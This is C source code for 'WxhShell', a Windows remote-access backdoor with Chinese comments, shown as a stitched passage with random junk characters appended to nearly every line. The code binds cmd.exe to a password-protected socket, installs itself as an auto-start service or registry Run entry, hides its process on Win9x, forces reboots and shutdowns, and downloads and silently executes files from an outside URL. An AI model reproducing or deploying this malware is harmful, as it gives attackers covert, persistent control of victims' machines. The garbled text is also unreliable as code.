  // 关机 Q.K,%(^;a  
  case 'd': { cGjPxG;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); McB[|PmC  
    if(Boot(SHUTDOWN)) {G?N E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y;/VB,4V  
    else { Zd"^</ S  
    closesocket(wsh);  : ]C~gc  
    ExitThread(0); N('&jHF  
    } n:MdYA5,m  
    break; 6@DF  
    } J!5$,%v  
  // 获取shell J:V?EE,\-  
  case 's': { Sa2>`":d  
    CmdShell(wsh); 6{ =\7AY  
    closesocket(wsh); pz"0J_xDM  
    ExitThread(0); bygx]RC[  
    break; <&C]s b  
  } p K0"%eA  
  // 退出 O/[cpRe  
  case 'x': { &b:1I 7Cp*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /?SLdW  
    CloseIt(wsh); lg^Z*&(  
    break; 7uzk p&+:  
    } 9a8cRt6knO  
  // 离开 wI(M^8F_Mf  
  case 'q': { k:7(D_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;!yQ  
    closesocket(wsh); (o`{uj{!  
    WSACleanup(); 6j ~#[  
    exit(1); 21"1NJzP  
    break; F'0O2KQ  
        } !qG7V:6  
  } $|8!BOx8t  
  } Jv^h\~*jH  
.V,@k7U,V  
  // 提示信息 FSND>\>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !KUi\yQ1  
} 0Vx.nUQ  
  } nr<4M0tIp  
=E.wv  
  return; @;"|@!l|  
} E>K!Vrh-L  
z<Nfm  
// shell模块句柄 {;2PL^i  
int CmdShell(SOCKET sock) 3W N@J6?  
{ AIZ]jq  
STARTUPINFO si; .[_L=_.  
ZeroMemory(&si,sizeof(si)); &q9T9A OS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 sX+~Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X(NLtO w  
PROCESS_INFORMATION ProcessInfo; 6Yln, rC  
char cmdline[]="cmd"; ?` ?)QE8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nR*ryv  
  return 0; *WuID2cOI  
} zolt$p  
Z.Lc>7o  
// 自身启动模式 7<*yS310  
int StartFromService(void)  qi^7  
{ j:v@pzTD  
typedef struct fb~ytl<  
{ HAa; hb  
  DWORD ExitStatus; yU*8|FQbP  
  DWORD PebBaseAddress; nlc "c5;jh  
  DWORD AffinityMask; $&n=$C&x  
  DWORD BasePriority; x<ZJb  
  ULONG UniqueProcessId; -Fe?R*-g  
  ULONG InheritedFromUniqueProcessId; XuFYYx~ ^3  
}   PROCESS_BASIC_INFORMATION; )P sY($ &  
p^w;kN  
PROCNTQSIP NtQueryInformationProcess; lN Yt`xp  
8]9%*2"!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vQ 6^xvk]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  tVN  
EFM5,gB.m  
  HANDLE             hProcess; 3ca (i/c  
  PROCESS_BASIC_INFORMATION pbi; U2W|:~KM  
?82xdp g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <<][hQs  
  if(NULL == hInst ) return 0; ~x1$h#Cx'  
ZbdZ rE$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b0Ps5G\ u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #cI{Fe0h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]>5/PD,wWy  
5Odhb  
  if (!NtQueryInformationProcess) return 0; vg32y /l]S  
rC^WPW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u7>],<  
  if(!hProcess) return 0; zBzZxK>$  
Q' {M L4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n-tgX?1'  
zHM(!\8K  
  CloseHandle(hProcess); ~qTx|",  
UM"- nZ>[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6a~|K-a6  
if(hProcess==NULL) return 0; inMA:x}cF1  
+~ P2C6@G  
HMODULE hMod; -(;26\lE  
char procName[255]; n{ar gI8wF  
unsigned long cbNeeded; -&zZtDd F  
rlOAo`hd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rl?_^dPx  
ia!y!_L\'  
  CloseHandle(hProcess); g}1B;zGf  
OrY/`+Cog  
if(strstr(procName,"services")) return 1; // 以服务启动 iP ->S\  
r@H /kD  
  return 0; // 注册表启动 "#2a8#  
} nFHUy9q  
^ B fC  
// 主模块 )q8pk2  
int StartWxhshell(LPSTR lpCmdLine) K0|FY=#2y  
{ W}@c|d $`  
  SOCKET wsl; aC8} d  
BOOL val=TRUE; 65JF`]  
  int port=0; V ]lLw)  
  struct sockaddr_in door; ];[}:f  
"o-z y'I  
  if(wscfg.ws_autoins) Install(); *av<E  
E Nh l&J  
port=atoi(lpCmdLine); Q{>+ft U  
-b9\=U[  
if(port<=0) port=wscfg.ws_port; @=}0`bE  
l<58A7  
  WSADATA data; [}E='m}u9+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `EA\u]PwQ  
On9A U:\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @k,#L`3^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P~>O S5^  
  door.sin_family = AF_INET; "c%0P"u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =(j1rW!  
  door.sin_port = htons(port); |6sp/38#p  
_)3|f<E_t)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 823Y\x~>  
closesocket(wsl); Q4#m\KK;i9  
return 1; _{YWXRC#  
} /K@XzwM  
;PF<y9M  
  if(listen(wsl,2) == INVALID_SOCKET) { &R'c.  
closesocket(wsl); aFX=C >M  
return 1; 7W Ly:E"  
} uP)'FI  
  Wxhshell(wsl); _^Ubs>d=*  
  WSACleanup(); /L g)i\R;  
g[' ^L +hd  
return 0; 2j [=\K]  
JzQ_{J`k  
} 6,8h]?u.  
)4e.k$X^  
// 以NT服务方式启动 _YhES-Ff  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l`lk-nb  
{ {T$9?`h~M  
DWORD   status = 0; tTl%oN8Qw  
  DWORD   specificError = 0xfffffff; M6 "PX *K  
k_#ak%m/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t%0VJB,Q2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tKOmoC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {L{o]Ii?g  
  serviceStatus.dwWin32ExitCode     = 0; NZ:,ph  
  serviceStatus.dwServiceSpecificExitCode = 0; Y.(PiuG$G  
  serviceStatus.dwCheckPoint       = 0; %v M-mbX  
  serviceStatus.dwWaitHint       = 0; x)DMPVB<  
?=sDM& '  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :%=Xm   
  if (hServiceStatusHandle==0) return; @Md/Q~>  
yLvDMPj  
status = GetLastError(); <`=j^LU  
  if (status!=NO_ERROR) UERLtSQ  
{ JX;<F~{.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0*3R=7_},o  
    serviceStatus.dwCheckPoint       = 0; cA?W7D  
    serviceStatus.dwWaitHint       = 0; E4jNA }3k+  
    serviceStatus.dwWin32ExitCode     = status; Z"xvh81P  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2*& ^v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q 'yva  
    return; A:%`wX}  
  } YoNDf39  
&jJL"gq"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \;B iq`  
  serviceStatus.dwCheckPoint       = 0; B6DYZ+7A  
  serviceStatus.dwWaitHint       = 0; ~Fcm[eoC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !c Hum  
} k(nW#*N_  
q6luUx,@m  
// 处理NT服务事件,比如:启动、停止 _1\v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _ ]ip ajT  
{ D#C~pdp  
switch(fdwControl) $ bR~+C  
{ h7Kzq{$  
case SERVICE_CONTROL_STOP: pz}.9 yI8  
  serviceStatus.dwWin32ExitCode = 0; %YscBG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Czu9o;xr  
  serviceStatus.dwCheckPoint   = 0; 194)QeoFw  
  serviceStatus.dwWaitHint     = 0; CY5Z{qiX  
  { )m T<MkP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S9y}  
  } b2Fe<~S{  
  return; K($Npuu]  
case SERVICE_CONTROL_PAUSE: 6<QQ@5_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r#p9x[f<Y  
  break; +~$ ]} %  
case SERVICE_CONTROL_CONTINUE: $Ds2>G4c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j</: WRA`]  
  break; M5X&}cN6  
case SERVICE_CONTROL_INTERROGATE: %ntRG !  
  break; Xc-'Y"}|`t  
}; T.BW H2gRP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A?P_DA  
} XNkn|q2  
UB@+c k  
// 标准应用程序主函数 pz*3N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F^;ez/Gl  
{ 7Ovi{xd@  
^jZbo {  
// 获取操作系统版本 Ow,w$0(D  
OsIsNt=GetOsVer(); [RhO$c$[\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |/{=ww8|  
SY\ gXO8k  
  // 从命令行安装 ",; H`V  
  if(strpbrk(lpCmdLine,"iI")) Install(); ##>H&,Dp[  
8cIKvHx  
  // 下载执行文件 Ve; n}mJ?  
if(wscfg.ws_downexe) { / zPO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @qAS*3j  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;?p>e'  
} V**~m9f  
V U3upy<  
if(!OsIsNt) { `Ggbi4),  
// 如果时win9x,隐藏进程并且设置为注册表启动 3F2w-+L  
HideProc(); bWU' cw  
StartWxhshell(lpCmdLine); VpDbHAg  
} {JMVV_}n  
else T(Eugl"  
  if(StartFromService()) ?Z/V~,  
  // 以服务方式启动 w<(pl%  
  StartServiceCtrlDispatcher(DispatchTable); rg!r[1c  
else @*( (1(q  
  // 普通方式启动 Q p3_f8  
  StartWxhshell(lpCmdLine); OQJ6e:BGt  
q@8*Xa>  
return 0; jQB9j  
} }K|oicpUg  
H**Xu;/5@  
s.C_Zf~3  
&V/Mmm T  
=========================================== b8 likP"T  
M .mfw#*  
2\{zmc}G-0  
uK Hxe~  
_w +Qy.  
cVF "!.  
" 3 Za}b|  
AoxA+.O  
#include <stdio.h> h2d(?vOT  
#include <string.h> i8]S:49  
#include <windows.h> T_4/C2  
#include <winsock2.h> @K-">f  
#include <winsvc.h> $xN|5;+  
#include <urlmon.h> fNFY$:4X  
"4{r6[dn  
#pragma comment (lib, "Ws2_32.lib") &F~T-i>X  
#pragma comment (lib, "urlmon.lib") vEJbA  
Q*Pq{]0K  
#define MAX_USER   100 // 最大客户端连接数 H/M@t\$Dc  
#define BUF_SOCK   200 // sock buffer cbTm'}R(G  
#define KEY_BUFF   255 // 输入 buffer PdWx|y{%  
5=ryDrx  
#define REBOOT     0   // 重启 ]h5tgi?_l  
#define SHUTDOWN   1   // 关机 sQZhXaMa $  
9G2FsM|,  
#define DEF_PORT   5000 // 监听端口 I; rGD^  
c]!V'#U  
#define REG_LEN     16   // 注册表键长度 WH^%:4  
#define SVC_LEN     80   // NT服务名长度 nU7[c| =  
O:K2Y5R?B  
// 从dll定义API Y.p;1"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LKDO2N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _H@DLhH|=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GZIa 4A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }O p; g^W  
u>vL/nI  
// wxhshell配置信息 (#c:b  
struct WSCFG { 9hyn`u.  
  int ws_port;         // 监听端口 U 6)#}   
  char ws_passstr[REG_LEN]; // 口令 h/Y'<:  
  int ws_autoins;       // 安装标记, 1=yes 0=no N"ST@/j.A  
  char ws_regname[REG_LEN]; // 注册表键名 |2A:eI8 ^  
  char ws_svcname[REG_LEN]; // 服务名 SOIN']L|V[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 do'GlU oMC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'LDQgC*%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \s\?l(ooq"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wUJcmM;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P]C<U aW'!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G' 1'/  
x]j W<A  
}; V !~wj  
xyXa .  
// default Wxhshell configuration xskz) kk  
struct WSCFG wscfg={DEF_PORT, 3Jn ;}  
    "xuhuanlingzhe", 2&cT~ZX&'  
    1, gs`q6 f%(  
    "Wxhshell", #GFr`o0$^  
    "Wxhshell", @2i9n  
            "WxhShell Service", <:CkgR$/{  
    "Wrsky Windows CmdShell Service", ) )Za&S*<  
    "Please Input Your Password: ", 'V>-QD%1  
  1, M"L=L5OH-  
  "http://www.wrsky.com/wxhshell.exe", RxQ*  
  "Wxhshell.exe" /yZcDK4  
    }; 1|:KQl2q  
;hq\  
// 消息定义模块 h{qgEIk&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +b 6v!7_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yB!dp;gM{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +kD R.E:  
char *msg_ws_ext="\n\rExit."; `WS&rmq&'  
char *msg_ws_end="\n\rQuit."; v"0J&7!J  
char *msg_ws_boot="\n\rReboot..."; DHRlWQox  
char *msg_ws_poff="\n\rShutdown..."; * v#o  
char *msg_ws_down="\n\rSave to "; ;kKyksxlD  
dc'Y `e  
char *msg_ws_err="\n\rErr!"; 4<v&S2Yq  
char *msg_ws_ok="\n\rOK!"; -nwypu  
F"mmLao  
char ExeFile[MAX_PATH]; lEBLZ}}\  
int nUser = 0; |uJ%5y#  
HANDLE handles[MAX_USER]; !()Qm,1u  
int OsIsNt; ;9#KeA _  
J .<F"r>  
SERVICE_STATUS       serviceStatus; |V(0GB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?V=CB,^  
h2QmQ>y"  
// 函数声明 4^d?D!j  
int Install(void); 0*v2y*2V  
int Uninstall(void); Gq P5Kx+=  
int DownloadFile(char *sURL, SOCKET wsh); $:^td/p J  
int Boot(int flag); ,#K'PB4E  
void HideProc(void); ;AG()NjOO:  
int GetOsVer(void); 19] E 5'AI  
int Wxhshell(SOCKET wsl); ee=D1qNu;  
void TalkWithClient(void *cs); +w~oH=  
int CmdShell(SOCKET sock); Uw:"n]G]D?  
int StartFromService(void);  0+8e,  
int StartWxhshell(LPSTR lpCmdLine); |vC~HJpuv'  
T> p&$]OG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hqdDm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 -b_~DF  
%l%HHT  
// 数据结构和表定义 K)P%;X  
SERVICE_TABLE_ENTRY DispatchTable[] = GtHivC  
{ SS2%q v  
{wscfg.ws_svcname, NTServiceMain}, 3(UVg!t  
{NULL, NULL} %}T6]S)%u  
}; H;"4 C8K7  
!`r$"}g  
// 自我安装 )M^ gT}M  
int Install(void) ]_$[8#kg  
{ w2'5#`m  
  char svExeFile[MAX_PATH]; &e3.:[~_?  
  HKEY key; & nK<:^n  
  strcpy(svExeFile,ExeFile); qJw_  
")25 qZae  
// 如果是win9x系统,修改注册表设为自启动 S|}L&A  
if(!OsIsNt) {  AOx[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " Yy n/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t`QENXA}  
  RegCloseKey(key); Xnh8e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ##ANrG l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i@'dH3-kO  
  RegCloseKey(key); P93@;{c(  
  return 0; 6H|S;K+  
    } {xB3S_,8  
  } fXB0j;A  
} p b,. r  
else { :v 4]D4\o  
IR bfNq^:  
// 如果是NT以上系统,安装为系统服务 WF"k[2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #LCb  
if (schSCManager!=0) LgYq.>Nl9  
{ yDS4h(^  
  SC_HANDLE schService = CreateService I}Q2Vu<  
  ( J=yTbSN\v  
  schSCManager, 3uMy]HUQ  
  wscfg.ws_svcname, Xm&L B X  
  wscfg.ws_svcdisp, \`"ht  
  SERVICE_ALL_ACCESS, ']oQ]Yx0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w*Ihk)  
  SERVICE_AUTO_START, "7`<~>9t.  
  SERVICE_ERROR_NORMAL, .|=\z9_7S8  
  svExeFile, E} .^kc[(4  
  NULL, . ]M"# \  
  NULL, 92-I~ !d  
  NULL, {XHh8_ ^&  
  NULL, A)KZa"EX  
  NULL |K~Nw&rZ]  
  ); ]%(2hY~i  
  if (schService!=0) QCJM&  
  { oXS}IL og'  
  CloseServiceHandle(schService); H[|~/0?K  
  CloseServiceHandle(schSCManager); ?1".;foZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dhv3jg;lq  
  strcat(svExeFile,wscfg.ws_svcname); /7LR;>Bj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -^wl>}#*T3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =Runf +}  
  RegCloseKey(key); |&jXp%4T  
  return 0; w=@Dv  
    } YoE3<[KD(  
  } JN6B~ZNf  
  CloseServiceHandle(schSCManager); 'm9` 12 H  
} uVU)d1N  
} rQ9'bCSr%  
P>6{&(  
return 1; k_R"CKd  
} `,0}ZzaV&  
tI{_y  
// 自我卸载 @lt#Nz  
int Uninstall(void) 1nOCQ\$l  
{ /Q )\+  
  HKEY key; |Ds=)S" K  
A(N4N  
if(!OsIsNt) { 1&$ nVQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XZwK6F)L  
  RegDeleteValue(key,wscfg.ws_regname); cGD(.=  
  RegCloseKey(key); \C1nZk?3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,=N.FS  
  RegDeleteValue(key,wscfg.ws_regname); Xm 2'6f,  
  RegCloseKey(key); rN{ c7/|  
  return 0; p<;0g9,1  
  } iyog`s c  
} TB^$1C  
} w*MpX U<  
else { wdZ/Xp9]  
#89!'W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =rK+eG#,  
if (schSCManager!=0) >OK^D+v"j  
{ 8.~kK<)!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  yOKI*.}  
  if (schService!=0) abEmRJTmW  
  { -!9G0h&i|  
  if(DeleteService(schService)!=0) { nxHkv`s k  
  CloseServiceHandle(schService); Y4(  
  CloseServiceHandle(schSCManager); l lsfTrp  
  return 0; w`=\5Oa.G  
  } MJrR[h]  
  CloseServiceHandle(schService); 'P}0FktP`  
  } (4EI-e*6  
  CloseServiceHandle(schSCManager); 3yXY.>'  
} ],v=]+R  
} {}Za_(Y,]  
y)gKxRaCS  
return 1; [c06 N$:  
} xP,hTE  
cFWc<55aX6  
// 从指定url下载文件 FsryEHz  
int DownloadFile(char *sURL, SOCKET wsh) 188*XCtjQ9  
{ 5PnDN\  
  HRESULT hr; k;L6R!V  
char seps[]= "/"; 5 u0HI  
char *token; BF<ikilR  
char *file; !? gKqx'T$  
char myURL[MAX_PATH]; ` ~`k_7t.  
char myFILE[MAX_PATH]; IaXeRq?<  
6JQ'Ik;$wX  
strcpy(myURL,sURL); O7IJ%_A&  
  token=strtok(myURL,seps); 8&aq/4:q0  
  while(token!=NULL) k@:%:Sj 2  
  { Tu7QCr5*  
    file=token; (!N|Kl  
  token=strtok(NULL,seps); JO< wU  
  } ?I@W:#>o  
ia 73?*mXT  
GetCurrentDirectory(MAX_PATH,myFILE); 3%ZOKb"D*  
strcat(myFILE, "\\"); puM3g|n@  
strcat(myFILE, file); RdML3E  
  send(wsh,myFILE,strlen(myFILE),0); ;d9QAN&0}  
send(wsh,"...",3,0); D5HZ2cz|a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "FKOaQ%IH  
  if(hr==S_OK) ^v`\x5"Vp  
return 0; W{gb:^;zb  
else 6i~WcAs  
return 1; e)O 4^#i  
Ez=Olbk  
} k)Qtfj}uij  
9*?oYm;dX  
// 系统电源模块 d<N:[Y\4l  
int Boot(int flag) aAA U{EWW  
{ o.l- 7  
  HANDLE hToken; e@OX_t_  
  TOKEN_PRIVILEGES tkp; {8%a5DiM  
w*JGUk  
  if(OsIsNt) { ^]-6u:J!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q)[C?obd v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {,~3.5u   
    tkp.PrivilegeCount = 1; 6f*CvW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; & 9 ?\b7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w)Qp?k d  
if(flag==REBOOT) { j^2wb+`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /RC7"QzL  
  return 0; qeZ? 7#Gf  
} 46&/gehr  
else { NPe%F+X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4Wm@W E  
  return 0; Tyf`j,=  
} 7VFLJr t  
  } C-[eaHJ'$  
  else { 'ub@]ru|  
if(flag==REBOOT) { $'hEz/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :A'y+MnK<  
  return 0; =zKM=qba  
} =$Nq   
else { e;}7G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DZ PPJ2}  
  return 0; r? E)obE  
} p2$P:!Y)  
} }@+:\   
~1vDV>dpE  
return 1; [^98fAlz6  
} 7Da`   
EA]U50L(  
// win9x进程隐藏模块 1Z~FCJz  
void HideProc(void) lv+TD!b   
{ b 7?hI  
*6DB0X_-}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8C9-_Ng`  
  if ( hKernel != NULL ) "u^H# L>-q  
  { P! #[mio  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +s DV~\Vu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T <ET )D7  
    FreeLibrary(hKernel); &AbNWtCV+G  
  } *.d)OOpLo  
\Et3|Iv  
return; (S\[Y9  
} U0N 60  
SmSH2m-  
// 获取操作系统版本 e [mm  
int GetOsVer(void) 6.nCV 0xA  
{ FSW_<%  
  OSVERSIONINFO winfo; <+vw@M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +Kbjzh3<wG  
  GetVersionEx(&winfo); iVq'r4S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F%D.zvKN  
  return 1; 9H`XeQ.  
  else sZ/v^ xk  
  return 0; 0*D$R`$  
} WuUk9_ g  
zL`iK"N`  
// 客户端句柄模块 MC.) 2B7  
int Wxhshell(SOCKET wsl) ofw3S |F6  
{ qm8B8&-  
  SOCKET wsh; qwgPk9l  
  struct sockaddr_in client; G[I"8iS,  
  DWORD myID; JL}_72gs  
co|aC!7  
  while(nUser<MAX_USER) Y;^l%ePuW  
{ ZyPVy  
  int nSize=sizeof(client); .Una+Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ARwD~ Tr  
  if(wsh==INVALID_SOCKET) return 1; 8ek@: Mw  
W^LY'ypT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Eq9x2  
if(handles[nUser]==0) ;m{1 _1  
  closesocket(wsh); BdblLUGK#  
else cZU=o\  
  nUser++; Y}|X|!0x  
  } " h~Z u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CiLg]va   
`1{ZqRFQ  
  return 0; F]]]y5t  
} q"sed]  
-g Sa_8R  
// 关闭 socket >kDQkhZ  
void CloseIt(SOCKET wsh) dkBIx$t  
{ 1.{z3_S21:  
closesocket(wsh); H-*yh!  
nUser--; *>'V1b4}  
ExitThread(0); (WO]Xq<  
} <~'"<HwtK  
`FDiX7M  
// 客户端请求句柄 '+!1Y o'G  
void TalkWithClient(void *cs) suiS&$-E  
{ /dQl)tL  
sF?TmBQ*  
  SOCKET wsh=(SOCKET)cs; Jg\zdi:t  
  char pwd[SVC_LEN]; j0S# >t  
  char cmd[KEY_BUFF]; 1&evG-#<:  
char chr[1]; Gm.T;fc:  
int i,j; u jq=F  
9gEwh<  
  while (nUser < MAX_USER) { ?; +1)>{  
]kRfB:4ED  
if(wscfg.ws_passstr) { "ZoRZ'i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z] P SpUd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }mq6]ZrK  
  //ZeroMemory(pwd,KEY_BUFF); wyj{zWRJp  
      i=0; xU>WEm2  
  while(i<SVC_LEN) { a#y;dK  
l%puHZ)t  
  // 设置超时 5Y'qaIFR  
  fd_set FdRead;  ~f1%8z  
  struct timeval TimeOut; lVR~Bh  
  FD_ZERO(&FdRead); _j/<{vSy  
  FD_SET(wsh,&FdRead); E=CsIK   
  TimeOut.tv_sec=8; E+R1 !.  
  TimeOut.tv_usec=0; q`H_M{26!y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mD0f<gJ1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ith 3 =`3  
M!A}NWF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A8fOQ  
  pwd=chr[0]; ;F!5%}OcL%  
  if(chr[0]==0xd || chr[0]==0xa) { iWB=sL&p  
  pwd=0; aS{n8P6vW  
  break; (*nT(Adk  
  } [.'|_l  
  i++; y'~U%,ki6  
    } gk[aM~p  
3kIN~/<R+7  
  // 如果是非法用户,关闭 socket Ym{tR,g7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?U5{Wa85D  
} 6?mibvK  
+[AQUc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); % X+:o]T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RLynE V;]  
~u!|qM  
while(1) { J^nBdofP  
8# >op6^  
  ZeroMemory(cmd,KEY_BUFF); F2dHH^  
ogtEAv~e7N  
      // 自动支持客户端 telnet标准   rEnQYz  
  j=0; U;V7 u/{  
  while(j<KEY_BUFF) { fc%xS7&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uK#4(eY=W  
  cmd[j]=chr[0]; dTC7Fm  
  if(chr[0]==0xa || chr[0]==0xd) { Y. 5_6'Eo?  
  cmd[j]=0; gsv uE  
  break; a 3b/e8c  
  } goRL1L,5  
  j++; BNl5!X^{  
    } c74.< @w  
m )zUU  
  // 下载文件 ^ f &XQQY  
  if(strstr(cmd,"http://")) { +EAsW(F1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .hP D$o  
  if(DownloadFile(cmd,wsh)) |vwVghC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zq|I,l0+E  
  else wd^':  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e *(!^Q1  
  } vNY{j7l/W  
